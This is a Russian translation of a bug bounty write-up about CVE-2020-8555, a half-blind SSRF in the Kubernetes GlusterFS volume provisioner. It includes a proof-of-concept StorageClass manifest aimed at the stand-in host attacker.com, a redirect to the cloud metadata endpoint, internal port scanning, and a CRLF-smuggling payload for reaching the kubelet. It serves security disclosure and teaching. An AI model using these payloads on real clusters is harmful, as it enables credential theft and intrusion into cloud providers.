- PVSM.RU - https://www.pvsm.ru -
Прим. перев.: авторы этой статьи в подробностях рассказывают о том, как им удалось обнаружить уязвимость CVE-2020–8555 [1] в Kubernetes. Хотя изначально она и выглядела не очень опасной, в сочетании с другими факторами её критичность у некоторых облачных провайдеров оказалась максимальной. За проведённую работу специалистов щедро вознаградили сразу несколько организаций.

Мы — два французских исследователя в области безопасности, которые совместно обнаружили уязвимость в Kubernetes. Нас зовут Brice Augras и Christophe Hauquiert, но на многих Bug Bounty-платформах мы известны как Reeverzax и Hach соответственно:
Эта статья — наш способ рассказать о том, как рядовой исследовательский проект неожиданно превратился в самое увлекательное приключение в жизни охотников за багами (по крайней мере, на данный момент).
Как вам, наверное, известно, у охотников за багами есть пара примечательных особенностей:
Мы не исключение из этих правил: обычно встречаемся в выходные дни и проводим бессонные хакерские ночи. Но одна из таких ночей закончилась весьма необычно.
Изначально мы собирались встретиться, чтобы обсудить участие в CTF [5] на следующий день. Во время беседы о безопасности Kubernetes в управляемой сервисной среде вспомнили о старой идее SSRF (Server-Side Request Forgery [6]) и решили попробовать использовать ее в качестве сценария атаки.
В 11 вечера сели за исследования, а спать отправились рано утром, весьма удовлетворенные результатами. Именно из-за этих исследований мы наткнулись на программу MSRC Bug Bounty и придумали эксплойт с эскалацией привилегий.
Прошло несколько недель/месяцев, и наш неожиданный результат позволил получить одну из самых высоких наград в истории Azure Cloud Bug Bounty — в дополнение к той, которую мы получили от Kubernetes!
По мотивам нашего исследовательского проекта комитет Kubernetes Product Security Committee опубликовал CVE-2020–8555 [7].
Теперь хотелось бы как можно больше распространить информацию о найденной уязвимости. Надеемся, вы оцените находку и поделитесь техническими подробностями с другими членами infosec-сообщества!
Итак, вот наша история…
Чтобы максимально полно довести смысл произошедшего, давайте сначала рассмотрим, как Kubernetes работает в условиях облачной управляемой среды.
Когда вы создаете экземпляр кластера Kubernetes в такой среде, за работу управляющего слоя обычно отвечает поставщик облачных услуг:

Управляющий слой располагается в периметре облачного провайдера, в то время как узлы Kubernetes находятся в периметре клиента
Для динамического выделения томов используется механизм их динамического предоставления из внешнего storage-бэкенда и сопоставления с PVC (persistent volume claim, т.е. запросом на том).
Таким образом, после того, как PVC создан и привязан к StorageClass'у в кластере K8s, дальнейшие действия по предоставлению тома берет на себя kube/cloud controller manager (его точное название зависит от релиза). (Прим. перев.: Подробнее про CCM на примере его реализации для одного из облачных провайдеров мы уже писали здесь [8].)
Существует несколько разновидностей provisioner'ов, поддерживаемых Kubernetes: большинство из них включены в ядро оркестратора [9], а другие управляются дополнительными provisioner'ами, которые размещаются в pod'ах в кластере.
В своем исследовании мы сфокусировались на внутреннем механизме предоставления томов, который проиллюстрирован ниже:

Динамическое предоставление томов с использованием встроенного provisioner'а Kubernetes
Если вкратце, когда Kubernetes развернут в управляемой среде, за работу controller manager'а отвечает поставщик облачных услуг, но запрос на создание тома (номер 3 на схеме выше) покидает пределы внутренней сети облачного провайдера. И вот тут-то ситуация становится по-настоящему интересной!
В этом разделе мы расскажем, как воспользовались упомянутым выше рабочим процессом и получили доступ ко внутренним ресурсам поставщика облачных услуг. Кроме того, будет показано, как можно осуществить определенные действия — например, получить внутренние учетные данные или провести эскалацию привилегий.
Одна простая манипуляция (в данном случае это Service Side Request Forgery) помогла выйти за пределы клиентской среды в кластерах различных поставщиков услуг по управляемому K8s.
В своих исследованиях мы сосредоточились на provisioner'е GlusterFS. Несмотря на то, что дальнейшая последовательность действий описана в таком контексте, этой же уязвимости подвержены Quobyte, StorageOS и ScaleIO.

Злоупотребление механизмом динамического предоставления томов
Во время анализа класса хранилищ GlusterFS в исходниках клиента на Golang мы заметили [10], что при первом HTTP-запросе (3), отправленном во время создания тома, к концу пользовательского URL в параметре resturl добавляется /volumes.
Избавиться от этого дополнительного пути мы решили добавлением # в параметр resturl. Вот первая YAML-конфигурация, которую мы использовали для проверки на наличие «полуслепой» SSRF-уязвимости (подробнее про semi-blind или half-blind SSRF можно прочитать, например, здесь [11] — прим. перев.):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrf
Затем для удаленного управления кластером Kubernetes воспользовались бинарником kubectl. Как правило, облачные провайдеры (Azure, Google, AWS и т д.) позволяют получить учетные данные для их использования в этой утилите.
Благодаря этому и получилось применить свой «особенный» файл. Kube-controller-manager выполнил результирующий HTTP-запрос:
kubectl create -f sc-poc.yaml

Ответ с точки зрения атакующего
Вскоре после этого мы также смогли получить HTTP-ответ от целевого сервера — через команды describe pvc или get events в kubectl. И действительно: этот драйвер Kubernetes по умолчанию слишком многословен в своих предупреждениях/сообщениях об ошибках…
Вот пример с ссылкой на https://www.google.fr, установленной в качестве параметра resturl:
kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

В рамках такого подхода мы были ограничены запросами типа HTTP POST и не могли получить содержимое тела ответа, если возвращаемый код был 201. Поэтому решили провести дополнительные исследования и расширили этой сценарий взлома новыми подходами.
https://attacker.com.Изначальный способ был улучшен конфигурацией сервера злоумышленника на возврат 302 HTTP Retcode, чтобы конвертировать POST-запрос в GET-запрос (шаг 4 на схеме):

Первый запрос (3), исходящий от клиента GlusterFS (Controller Manager), имеет тип POST. Выполнив следующие шаги, мы смогли превратить его в GET:
resturl в StorageClass указывается http://attacker.com/redirect.php.https://attacker.com/redirect.php отвечает статус-кодом 302 HTTP со следующим Location Header'ом: http://169.254.169.254. Это может быть любой другой внутренний ресурс — в данном случае redirect-ссылка используется исключительно в качестве примера.
Чтобы прочитать тело HTTP-ответа, нужно сделать describe объекта PVC:
kubectl describe pvc xxx
Вот пример HTTP-ответа в формате JSON, который нам удалось получить:

Возможности найденной уязвимости на тот момент были ограничены из-за следующих моментов:
Этот метод half-blind SSRF затем использовался для сканирования внутренней сети поставщика облачных услуг и опроса различных слушающих сервисов (экземпляр Metadata, Kubelet, etcd и т.д.) на основе ответов kube controller'а.

Сперва были определены стандартные слушающие порты компонентов Kubernetes (8443, 10250, 10251 и т.д.), а затем пришлось автоматизировать процесс сканирования.
Видя, что данный способ сканирования ресурсов очень специфичен и не совместим с классическими сканерами и SSRF-инструментами, мы решили создать собственные worker'ы в bash-скрипте, которые автоматизируют весь процесс.
Например, чтобы быстрее просканировать диапазон 172.16.0.0/12 внутренней сети, параллельно запускались 15 worker'ов. Вышеуказанный диапазон IP был выбран исключительно в качестве примера и может быть изменен на IP-диапазон конкретного поставщика услуг.
Чтобы просканировать один IP-адрес и один порт, необходимо сделать следующее:
sc.yaml;Если в дополнение к этому провайдер предлагал клиентам старые версии кластера K8s и открывал им доступ к логам kube-controller-manager’а, эффект становился еще значительнее.
Злоумышленнику действительно гораздо удобнее менять по своему усмотрению HTTP-запросы, предназначенные для получения полного HTTP-ответа.

Для реализации последнего сценария должны были выполняться следующие условия:
Мы развернули локальное окружение, имитирующее обмен данными между Go-клиентом GlusterFS и поддельным целевым сервером (пока воздержимся от публикации PoC).
Была обнаружена уязвимость [12], затрагивающая версии Golang ниже 1.12 и позволявшая хакерам проводить атаки типа HTTP smuggling/CRLF.
Объединив описанную выше half-blind SSRF вместе с этой, мы смогли посылать запросы по своему вкусу, включая замену заголовков, метода HTTP, параметров и данных, которые kube-controller-manager затем обрабатывал.
Вот пример рабочей «наживки» в параметре resturl StorageClass'а, которая реализует подобный сценарий атаки:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn
В результате возникает ошибка unsolicited response, сообщение о которой записывается в логи контроллера. Благодаря включенной по умолчанию «многословности» туда же сохраняется и содержимое ответного HTTP-сообщения.

Это была наша самая результативная «наживка» в рамках proof of concept.
Используя такой подход, мы смогли провести некоторые из следующих атак в кластерах различных поставщиков managed k8s: эскалация привилегий с получением учетных данных на metadata-инстансах, DoS мастера с помощью (незашифрованных) HTTP-запросов на мастер-экземплярах etcd и т.п.
В официальном заявлении Kubernetes по поводу обнаруженной нами SSRF-уязвимости ей был присвоен рейтинг CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Если рассматривать только уязвимость, связанную с периметром Kubernetes, вектор целостности (integrity vector) в ней квалифицируется как None.
Однако оценка возможных последствий в контексте управляемого сервисного окружения (и это была самая интересная часть нашего исследования!) побудила нас переквалифицировать уязвимость на рейтинг Critical CVSS10/10 для многих дистрибьюторов.
Ниже приведена дополнительная информация, которая поможет понять, чем мы руководствовались при оценке возможных последствий в облачных окружениях:
http://169.254.169.254, …).Все сценарии применения эксплойтов, связанные с векторами атаки на integrity (целостность), могут быть использованы для разрушительных действий и приводить к тому, что мастер-инстансы из клиентского периметра (или любого другого) будут недоступны.
Поскольку мы находились в управляемой среде K8s и оценивали влияние на целостность, можно представить себе множество сценариев, способных повлиять на доступность. В качестве дополнительных примеров приведем повреждение базы данных etcd или выполнение критического вызова к API Kubernetes.
Читайте также в нашем блоге:
Автор: Дмитрий Шурупов
Источник [20]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/uyazvimost/354422
Ссылки в тексте:
[1] CVE-2020–8555: https://nvd.nist.gov/vuln/detail/CVE-2020-8555
[2] Brice Augras: https://hackerone.com/reeverzax
[3] Groupe Asten Company: https://www.groupe-asten.fr/
[4] Christophe Hauquiert: https://hackerone.com/hach
[5] CTF: https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security
[6] Server-Side Request Forgery: https://en.wikipedia.org/wiki/Server-side_request_forgery
[7] CVE-2020–8555: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8555
[8] здесь: https://habr.com/ru/company/flant/blog/490356/
[9] ядро оркестратора: https://kubernetes.io/docs/concepts/storage/storage-classes/#provisioner
[10] заметили: https://github.com/heketi/heketi/blob/6a1ff1a6176e6566894d30ecc714d0643301558d/client/api/go-client/volume.go#L34
[11] здесь: https://blog.securityinnovation.com/the-many-faces-of-ssrf
[12] уязвимость: https://github.com/golang/go/issues/30794
[13] Lateral Movement: https://en.wikipedia.org/wiki/Network_Lateral_Movement
[14] @ReeverZax: https://twitter.com/reeverzax
[15] @__hach_: https://twitter.com/__hach_
[16] Google-группа kubernetes-security-announce: https://groups.google.com/g/kubernetes-security-announce
[17] Охота за ошибками в Kubernetes официально открыта: https://habr.com/ru/company/flant/blog/485838/
[18] Выход за пределы pod'а в Kubernetes через монтирование логов: https://habr.com/ru/company/flant/blog/466625/
[19] 33+ инструмента для безопасности Kubernetes: https://habr.com/ru/company/flant/blog/465141/
[20] Источник: https://habr.com/ru/post/508308/?utm_source=habrahabr&utm_medium=rss&utm_campaign=508308
Нажмите здесь для печати.